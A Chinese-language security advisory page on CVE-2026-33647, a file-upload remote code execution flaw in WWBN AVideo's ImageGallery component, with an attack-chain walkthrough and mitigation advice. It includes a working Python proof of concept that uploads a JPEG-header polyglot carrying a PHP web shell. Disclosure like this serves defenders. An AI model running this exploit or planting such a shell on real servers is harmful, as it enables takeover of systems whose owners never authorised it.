IPBUF安全漏洞报告
English
CVE-2026-33647 CVSS 8.8 高危

CVE-2026-33647 WWBN AVideo远程代码执行漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33647
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

RCE文件上传AVideoWeb安全CVE-2026-33647

漏洞概述

WWBN AVideo是一款广泛使用的开源视频平台。在其26.0及更早的版本中,ImageGallery组件存在严重的文件上传逻辑缺陷。该漏洞源于saveFile()方法虽然利用finfo对文件内容的MIME类型进行了校验,但在生成服务器端存储文件名时,直接沿用了用户原始上传的文件后缀,缺失了关键的白名单过滤机制。攻击者利用此缺陷,可上传伪装成图片但内嵌恶意PHP代码的多态文件,绕过检测并在服务器端解析执行,从而获取系统最高权限。

技术细节

漏洞核心在于AVideo的文件上传处理逻辑存在“双重验证”的不一致性。系统首先通过`finfo_file()`函数分析文件内容的二进制魔数以确定MIME类型(如image/jpeg),这一步看似安全,但随后在生成最终文件名时,错误地信任了HTTP请求中`filename`字段的扩展名。攻击者可以制作一个“多态文件”,文件头部包含合法的JPEG图片十六进制数据(如FF D8 FF),尾部附加恶意的PHP脚本代码(如`<?php system($_GET['cmd']); ?>`)。当攻击者将该文件重命名为`shell.php`并上传时,`finfo`识别为图片而放行,但服务器将其保存为`.php`文件。由于文件存储在Web可访问目录下,攻击者通过浏览器直接访问该文件URL,Web服务器会将文件作为PHP脚本解析并执行其中的恶意代码。这种利用方式无需用户交互,且仅需低权限账户即可触发,导致服务器被完全控制。

攻击链分析

STEP 1
侦察
攻击者确认目标使用的是WWBN AVideo平台,且版本在26.0及以下。
STEP 2
构造恶意文件
攻击者创建一个多态文件,包含合法的JPEG文件头字节和恶意的PHP代码后门,并将文件扩展名命名为.php。
STEP 3
上传文件
攻击者利用低权限账户登录,将构造好的文件上传至ImageGallery接口。finfo检测通过MIME验证,但文件被保存为.php。
STEP 4
执行代码
攻击者通过浏览器访问上传后的PHP文件URL,Web服务器解析PHP代码,从而在服务器端执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://localhost/objects/ImageGallery.json.php" # 1. Create a polyglot file: Valid JPEG magic bytes + PHP payload # JPEG Header (FF D8 FF E0) jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' # PHP Payload to execute system commands php_payload = b'<?php system($_GET["cmd"]); ?>' # Combine header and payload file_data = jpeg_header + php_payload # 2. Prepare the upload request # Notice the filename ends with .php, but content-type is image/jpeg files = { 'files': ('exploit.php', file_data, 'image/jpeg') } data = { 'action': 'upload' } # 3. Send the request try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Check for the shell at the predicted upload path.") print(f"[+] Usage: path/to/exploit.php?cmd=whoami") else: print("[-] Upload failed.") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应在服务器配置层面禁止上传目录执行PHP脚本,并严格限制Web目录下的文件写入权限,同时检查已存在的可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表